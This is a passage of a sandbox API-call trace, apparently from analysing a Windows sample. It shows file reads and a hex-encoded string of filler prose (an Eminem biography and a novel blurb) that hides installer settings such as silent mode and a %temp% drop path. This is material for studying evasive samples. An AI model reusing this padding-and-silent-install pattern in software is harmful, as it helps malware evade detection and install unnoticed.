lpDistanceToMoveHigh=0x180228*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x180228*=0) returned 0x212f6 [0067.380] ReadFile (in: hFile=0x134, lpBuffer=0x258f40, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1801e0, lpOverlapped=0x0 | out: lpBuffer=0x258f40*, lpNumberOfBytesRead=0x1801e0*=0x7, lpOverlapped=0x0) returned 1 [0067.380] ReadFile (in: hFile=0x134, lpBuffer=0x25a64f, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1801e0, lpOverlapped=0x0 | out: lpBuffer=0x25a64f*, lpNumberOfBytesRead=0x1801e0*=0x25, lpOverlapped=0x0) returned 1 [0067.381] SetFilePointer (in: hFile=0x134, lDistanceToMove=134676, lpDistanceToMoveHigh=0x181294*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x181294*=0) returned 0x20e14 [0067.381] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, lpDistanceToMoveHigh=0x1812c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1812c4*=0) returned 0x20e14 [0067.381] SetFilePointer (in: hFile=0x134, lDistanceToMove=134676, lpDistanceToMoveHigh=0x1812b4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1812b4*=0) returned 0x20e14 [0067.381] SetFilePointer (in: hFile=0x134, lDistanceToMove=0, lpDistanceToMoveHigh=0x180234*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x180234*=0) returned 0x20e14 [0067.381] ReadFile (in: hFile=0x134, lpBuffer=0x258f40, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1801ec, lpOverlapped=0x0 | out: lpBuffer=0x258f40*, lpNumberOfBytesRead=0x1801ec*=0x7, lpOverlapped=0x0) returned 1 [0067.381] ReadFile (in: hFile=0x134, lpBuffer=0x25a64f, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x1801ec, lpOverlapped=0x0 | out: lpBuffer=0x25a64f*, lpNumberOfBytesRead=0x1801ec*=0x1c, lpOverlapped=0x0) returned 1 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25b630, nNumberOfBytesToRead=0x4bf, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25b630*, lpNumberOfBytesRead=0x172d04*=0x4bf, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.470] GetTickCount () returned 0x1f7d5 [0067.470] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] ReadFile (in: hFile=0x134, lpBuffer=0x25baef, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x172d04, lpOverlapped=0x0 | out: lpBuffer=0x25baef*, lpNumberOfBytesRead=0x172d04*=0x0, lpOverlapped=0x0) returned 1 [0067.471] GetTickCount () returned 0x1f7d5 [0067.471] GetTickCount () returned 0x1f7d5 [0067.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e\x0d\x0a\x0d\x0a\x20\x48\x65\x20\x69\x73\x20\x61\x6c\x73\x6f\x20\x6b\x6e\x6f\x77\x6e\x20\x66\x6f\x72\x20\x68\x69\x73\x20\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x69\x6f\x6e\x73\x20\x77\x69\x74\x68\x20\x66\x65\x6c\x6c\x6f\x77\x20\x44\x65\x74\x72\x6f\x69\x74\x2d\x62\x61\x73\x65\x64\x20\x72\x61\x70\x70\x65\x72\x20\x52\x6f\x79\x63\x65\x20\x64\x61\x20\x35\x27\x39\x22\x3b\x20\x74\x68\x65\x20\x74\x77\x6f\x20\x61\x72\x65\x20\x63\x6f\x6c\x6c\x65\x63\x74\x69\x76\x65\x6c\x79\x0d\x0a\x0d\x0a\x20\x6b\x6e\x6f\x77\x6e\x20\x61\x73\x20\x42\x61\x64\x20\x4d\x65\x65\x74\x73\x20\x45\x76\x69\x6c\x2e\x20\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x64\x65\x76\x65\x6c\x6f\x70\x65\x64\x20\x6f\x74\x68\x65\x72\x20\x76\x65\x6e\x74\x75\x72\x65\x73\x2c\x20\x69\x6e\x63\x6c\x75\x64\x69\x6e\x67\x20\x53\x68\x61\x64\x79\x20\x52\x65\x63\x6f\x72\x64\x73\x2c\x20\x77\x69\x74\x68\x20\x6d\x61\x6e\x61\x67\x65\x72\x20\x50\x61\x75\x6c\x20\x52\x6f\x73\x65\x6e\x62\x65\x72\x67\x2c\x20\x77\x68\x69\x63\x68\x20\x68\x65\x6c\x70\x65\x64\x20\x6c\x61\x75\x6e\x63\x68\x20\x74\x68\x65\x20\x63\x61\x72\x65\x65\x72\x73\x20\x6f\x66\x20\x61\x72\x74\x69\x73\x74\x73\x20\x73\x75\x63\x68\x20\x61\x73\x20\x35\x30\x20\x43\x65\x6e\x74\x2e\x20\x0d\x0a\x0d\x0a\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x61\x6c\x73\x6f\x20\x65\x73\x74\x61\x62\x6c\x69\x73\x68\x65\x64\x20\x68\x69\x73\x20\x6f\x77\x6e\x20\x63\x68\x61\x6e\x6e\x65\x6c\x2c\x0d\x0a\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c\x0d\x0a\x0d\x0a\x20\x6e\x65\x77\x6c\x79\x77\x65\x64\x73\x20\x52\x61\x6d\x73\x65\x73\x20\x61\x6e\x64\x20\x4e\x65\x66\x72\x65\x74\x20\x45\x6d\x65\x72\x73\x6f\x6e\x20\x73\x70\x65\x6e\x64\x20\x74\x68\x65\x69\x72\x20\x74\x69\x6d\x65\x20\x6c\x69\x76\x69\x6e\x67\x20\x6f\x6e\x20\x74\x68\x65\x69\x72\x20\x66\x61\x6d\x69\x6c\x79\x27\x73\x20\x64\x61\x68\x61\x62\x65\x65\x79\x61\x68\x20\x6f\x6e\x20\x74\x68\x65\x20\x4e\x69\x6c\x65\x2c\x20\x77\x68\x69\x6c\x65\x20\x74\x68\x65\x20\x72\x65\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x6f\x75\x70\x20\x72\x65\x6d\x61\x69\x6e\x73\x20\x61\x74\x20\x74\x68\x65\x20\x68\x6f\x75\x73\x65\x20\x6e\x65\x61\x72\x20\x47\x69\x7a\x61\x2c\x20\x77\x68\x65\x72\x65\x20\x74\x68\x65\x69\x72\x20\x65\x78\x63\x61\x76\x61\x74\x69\x6f\x6e\x73\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x2e\x20\x42\x65\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x61\x6e\x74\x69\x63\x73\x20\x6f\x66\x20\x52\x61\x6d\x73\x65\x73\x27\x20\x66\x6f\x72\x6d\x65\x72\x20\x61\x73\x73\x6f\x63\x69\x61\x74\x65\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x73\x6d\x75\x67\x67\x6c\x69\x6e\x67\x20\x74\x72\x61\x64\x65\x2c\x20\x74\x68\x65\x20\x72\x65\x61\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x61\x73\x74\x65\x72\x20\x43\x72\x69\x6d\x69\x6e\x61\x6c\x2c\x20\x61\x6e\x64\x20\x79\x65\x74\x20\x61\x6e\x6f\x74\x68\x65\x72\x20\x75\x6e\x6b\x6e\x6f\x77\x6e\x20\x61\x64\x76\x65\x72\x73\x61\x72\x79\x20\x77\x69\x74\x68\x20\x61\x20\x72\x69\x63\x68\x20\x66\x69\x6e\x64\x2c\x0d\x0a\x20\x6c\x69\x74\x74\x6c\x65\x20\x74\x69\x6d\x65\x20\x69\x73\x20\x70\x65\x72\x6d\x69\x74\x74\x65\x64\x20\x66\x6f\x72\x20\x72\x6f\x6d\x61\x6e\x63\x65\x2e\x2e\x2e\x62\x75\x74\x20\x6f\x66\x20\x63\x6f\x75\x72\x73\x65\x2c\x0d\x0a\x0d\x0a\x20\x74\x68\x65\x20\x79\x6f\x75\x6e\x67\x65\x72\x20\x45\x6d\x65\x72\x73\x6f\x6e\x73\x20\x6d\x61\x6b\x65\x20\x74\x68\x65\x20\x6d\x6f\x73\x74\x20\x6f\x66\x20\x69\x74\x2e\x20\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c\x0d\x0a\x0d\x0a\x20\x6e\x65\x77\x6c\x79\x77\x65\x64\x73\x20\x52\x61\x6d\x73\x65\x73\x20\x61\x6e\x64\x20\x4e\x65\x66\x72\x65\x74\x20\x45\x6d\x65\x72\x73\x6f\x6e\x20\x73\x70\x65\x6e\x64\x20\x74\x68\x65\x69\x72\x20\x74\x69\x6d\x65\x20\x6c\x69\x76\x69\x6e\x67\x20\x6f\x6e\x20\x74\x68\x65\x69\x72\x20\x66\x61\x6d\x69\x6c\x79\x27\x73\x20\x64\x61\x68\x61\x62\x65\x65\x79\x61\x68\x20\x6f\x6e\x20\x74\x68\x65\x20\x4e\x69\x6c\x65\x2c\x20\x77\x68\x69\x6c\x65\x20\x74\x68\x65\x20\x72\x65\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x6f\x75\x70\x20\x72\x65\x6d\x61\x69\x6e\x73\x20\x61\x74\x20\x74\x68\x65\x20\x68\x6f\x75\x73\x65\x20\x6e\x65\x61\x72\x20\x47\x69\x7a\x61\x2c\x20\x77\x68\x65\x72\x65\x20\x74\x68\x65\x69\x72\x20\x65\x78\x63\x61\x76\x61\x74\x69\x6f\x6e\x73\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x2e\x20\x42\x65\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x61\x6e\x74\x69\x63\x73\x20\x6f\x66\x20\x52\x61\x6d\x73\x65\x73\x27\x20\x66\x6f\x72\x6d\x65\x72\x20\x61\x73\x73\x6f\x63\x69\x61\x74\x65\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x73\x6d\x75\x67\x67\x6c\x69\x6e\x67\x20\x74\x72\x61\x64\x65\x2c\x20\x74\x68\x65\x20\x72\x65\x61\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x61\x73\x74\x65\x72\x20\x43\x72\x69\x6d\x69\x6e\x61\x6c\x2c\x20\x61\x6e\x64\x20\x79\x65\x74\x20\x61\x6e\x6f\x74\x68\x65\x72\x20\x75\x6e\x6b\x6e\x6f\x77\x6e\x20\x61\x64\x76\x65\x72\x73\x61\x72\x79\x20\x77\x69\x74\x68\x20\x61\x20\x72\x69\x63\x68\x20\x66\x69\x6e\x64\x2c\x0d\x0a\x20\x6c\x69\x74\x74\x6c\x65\x20\x74\x69\x6d\x65\x20\x69\x73\x20\x70\x65\x72\x6d\x69\x74\x74\x65\x64\x20\x66\x6f\x72\x20\x72\x6f\x6d\x61\x6e\x63\x65\x2e\x2e\x2e\x62\x75\x74\x20\x6f\x66\x20\x63\x6f\x75\x72\x73\x65\x2c\x0d\x0a\x0d\x0a\x20\x74\x68\x65\x20\x79\x6f\x75\x6e\x67\x65\x72\x20\x45\x6d\x65\x72\x73\x6f\x6e\x73\x20\x6d\x61\x6b\x65\x20\x74\x68\x65\x20\x6d\x6f\x73\x74\x20\x6f\x66\x20\x69\x74\x2e\x20\x0d\x0a\x55\x70\x64\x61\x74\x65\x3d\x55\x38\x34\x37\x31\x0d\x0a\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c\x0d\x0a\x0d\x0a\x20\x6e\x65\x77\x6c\x79\x77\x65\x64\x73\x20\x52\x61\x6d\x73\x65\x73\x20\x61\x6e\x64\x20\x4e\x65\x66\x72\x65\x74\x20\x45\x6d\x65\x72\x73\x6f\x6e\x20\x73\x70\x65\x6e\x64\x20\x74\x68\x65\x69\x72\x20\x74\x69\x6d\x65\x20\x6c\x69\x76\x69\x6e\x67\x20\x6f\x6e\x20\x74\x68\x65\x69\x72\x20\x66\x61\x6d\x69\x6c\x79\x27\x73\x20\x64\x61\x68\x61\x62\x65\x65\x79\x61\x68\x20\x6f\x6e\x20\x74\x68\x65\x20\x4e\x69\x6c\x65\x2c\x20\x77\x68\x69\x6c\x65\x20\x74\x68\x65\x20\x72\x65\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x6f\x75\x70\x20\x72\x65\x6d\x61\x69\x6e\x73\x20\x61\x74\x20\x74\x68\x65\x20\x68\x6f\x75\x73\x65\x20\x6e\x65\x61\x72\x20\x47\x69\x7a\x61\x2c\x20\x77\x68\x65\x72\x65\x20\x74\x68\x65\x69\x72\x20\x65\x78\x63\x61\x76\x61\x74\x69\x6f\x6e\x73\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x2e\x20\x42\x65\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x61\x6e\x74\x69\x63\x73\x20\x6f\x66\x20\x52\x61\x6d\x73\x65\x73\x27\x20\x66\x6f\x72\x6d\x65\x72\x20\x61\x73\x73\x6f\x63\x69\x61\x74\x65\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x73\x6d\x75\x67\x67\x6c\x69\x6e\x67\x20\x74\x72\x61\x64\x65\x2c\x20\x74\x68\x65\x20\x72\x65\x61\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x61\x73\x74\x65\x72\x20\x43\x72\x69\x6d\x69\x6e\x61\x6c\x2c\x20\x61\x6e\x64\x20\x79\x65\x74\x20\x61\x6e\x6f\x74\x68\x65\x72\x20\x75\x6e\x6b\x6e\x6f\x77\x6e\x20\x61\x64\x76\x65\x72\x73\x61\x72\x79\x20\x77\x69\x74\x68\x20\x61\x20\x72\x69\x63\x68\x20\x66\x69\x6e\x64\x2c\x0d\x0a\x20\x6c\x69\x74\x74\x6c\x65\x20\x74\x69\x6d\x65\x20\x69\x73\x20\x70\x65\x72\x6d\x69\x74\x74\x65\x64\x20\x66\x6f\x72\x20\x72\x6f\x6d\x61\x6e\x63\x65\x2e\x2e\x2e\x62\x75\x74\x20\x6f\x66\x20\x63\x6f\x75\x72\x73\x65\x2c\x0d\x0a\x0d\x0a\x20\x74\x68\x65\x20\x79\x6f\x75\x6e\x67\x65\x72\x20\x45\x6d\x65\x72\x73\x6f\x6e\x73\x20\x6d\x61\x6b\x65\x20\x74\x68\x65\x20\x6d\x6f\x73\x74\x20\x6f\x66\x20\x69\x74\x2e\x20\x0d\x0a\x53\x69\x6c\x65\x6e\x74\x3d\x31\x0d\x0a\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e\x0d\x0a\x0d\x0a\x20\x48\x65\x20\x69\x73\x20\x61\x6c\x73\x6f\x20\x6b\x6e\x6f\x77\x6e\x20\x66\x6f\x72\x20\x68\x69\x73\x20\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x69\x6f\x6e\x73\x20\x77\x69\x74\x68\x20\x66\x65\x6c\x6c\x6f\x77\x20\x44\x65\x74\x72\x6f\x69\x74\x2d\x62\x61\x73\x65\x64\x20\x72\x61\x70\x70\x65\x72\x20\x52\x6f\x79\x63\x65\x20\x64\x61\x20\x35\x27\x39\x22\x3b\x20\x74\x68\x65\x20\x74\x77\x6f\x20\x61\x72\x65\x20\x63\x6f\x6c\x6c\x65\x63\x74\x69\x76\x65\x6c\x79\x0d\x0a\x0d\x0a\x20\x6b\x6e\x6f\x77\x6e\x20\x61\x73\x20\x42\x61\x64\x20\x4d\x65\x65\x74\x73\x20\x45\x76\x69\x6c\x2e\x20\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x64\x65\x76\x65\x6c\x6f\x70\x65\x64\x20\x6f\x74\x68\x65\x72\x20\x76\x65\x6e\x74\x75\x72\x65\x73\x2c\x20\x69\x6e\x63\x6c\x75\x64\x69\x6e\x67\x20\x53\x68\x61\x64\x79\x20\x52\x65\x63\x6f\x72\x64\x73\x2c\x20\x77\x69\x74\x68\x20\x6d\x61\x6e\x61\x67\x65\x72\x20\x50\x61\x75\x6c\x20\x52\x6f\x73\x65\x6e\x62\x65\x72\x67\x2c\x20\x77\x68\x69\x63\x68\x20\x68\x65\x6c\x70\x65\x64\x20\x6c\x61\x75\x6e\x63\x68\x20\x74\x68\x65\x20\x63\x61\x72\x65\x65\x72\x73\x20\x6f\x66\x20\x61\x72\x74\x69\x73\x74\x73\x20\x73\x75\x63\x68\x20\x61\x73\x20\x35\x30\x20\x43\x65\x6e\x74\x2e\x20\x0d\x0a\x0d\x0a\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x61\x6c\x73\x6f\x20\x65\x73\x74\x61\x62\x6c\x69\x73\x68\x65\x64\x20\x68\x69\x73\x20\x6f\x77\x6e\x20\x63\x68\x61\x6e\x6e\x65\x6c\x2c\x0d\x0a\x50\x61\x74\x68\x3d\x25\x74\x65\x6d\x70\x25\x5c\x36\x32\x38\x39\x30\x32\x31\x38\x0d\x0a\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x0d\x0a\x68\x65\x20\x68\x61\x73\x20\x68\x61\x64\x20\x31\x30\x20\x6e\x75\x6d\x62\x65\x72\x2d\x6f\x6e\x65\x20\x61\x6c\x62\x75\x6d\x73\x20\x6f\x6e\x20\x74\x68\x65\x20\x42\x69\x6c\x6c\x62\x6f\x61\x72\x64\x20\x32\x30\x30\x20\x61\x6e\x64\x20\x66\x69\x76\x65\x20\x6e\x75\x6d\x62\x65\x72\x2d\x6f\x6e\x65\x20\x73\x69\x6e\x67\x6c\x65\x73\x20\x6f\x6e\x20\x74\x68\x65\x20\x42\x69\x6c\x6c\x62\x6f\x61\x72\x64\x20\x48\x6f\x74\x20\x31\x30\x30\x2e\x0d\x0a\x20\x57\x69\x74\x68\x20\x6d\x6f\x72\x65\x20\x74\x68\x61\x6e\x20\x34\x37\x2e\x34\x20\x6d\x69\x6c\x6c\x69\x6f\x6e\x20\x61\x6c\x62\x75\x6d\x73\x20\x61\x6e\x64\x20\x31\x30\x37\x2e\x35\x20\x6d\x69\x6c\x6c\x69\x6f\x6e\x20\x73\x69\x6e\x67\x6c\x65\x73\x20\x73\x6f\x6c\x64\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x2e\x53\x2e\x20\x61\x6e\x64\x20\x32\x32\x30\x20\x6d\x69\x6c\x6c\x69\x6f\x6e\x20\x72\x65\x63\x6f\x72\x64\x73\x20\x67\x6c\x6f\x62\x61\x6c\x6c\x79\x2c\x0d\x0a\x20\x68\x65\x20\x69\x73\x20\x61\x6d\x6f\x6e\x67\x20\x74\x68\x65\x20\x77\x6f\x72\x6c\x64\x27\x73\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x73\x20\x6f\x66\x20\x61\x6c\x6c\x20\x74\x69\x6d\x65\x20\x61\x6e\x64\x20\x69\x73\x20\x63\x6f\x6e\x73\x69\x73\x74\x65\x6e\x74\x6c\x79\x20\x63\x69\x74\x65\x64\x20\x61\x73\x20\x6f\x6e\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x65\x61\x74\x65\x73\x74\x20\x61\x6e\x64\x20\x6d\x6f\x73\x74\x0d\x0a\x69\x6e\x66\x6c\x75\x65\x6e\x74\x69\x61\x6c\x20\x61\x72\x74\x69\x73\x74\x73\x20\x69\x6e\x20\x61\x6e\x79\x20\x67\x65\x6e\x72\x65\x2e\x20\x48\x65\x20\x69\x73\x20\x74\x68\x65\x20\x6f\x6e\x6c\x79\x20\x61\x72\x74\x69\x73\x74\x20\x74\x6f\x20\x68\x61\x76\x65\x20\x6e\x69\x6e\x65\x20\x61\x6c\x62\x75\x6d\x73\x20\x63\x6f\x6e\x73\x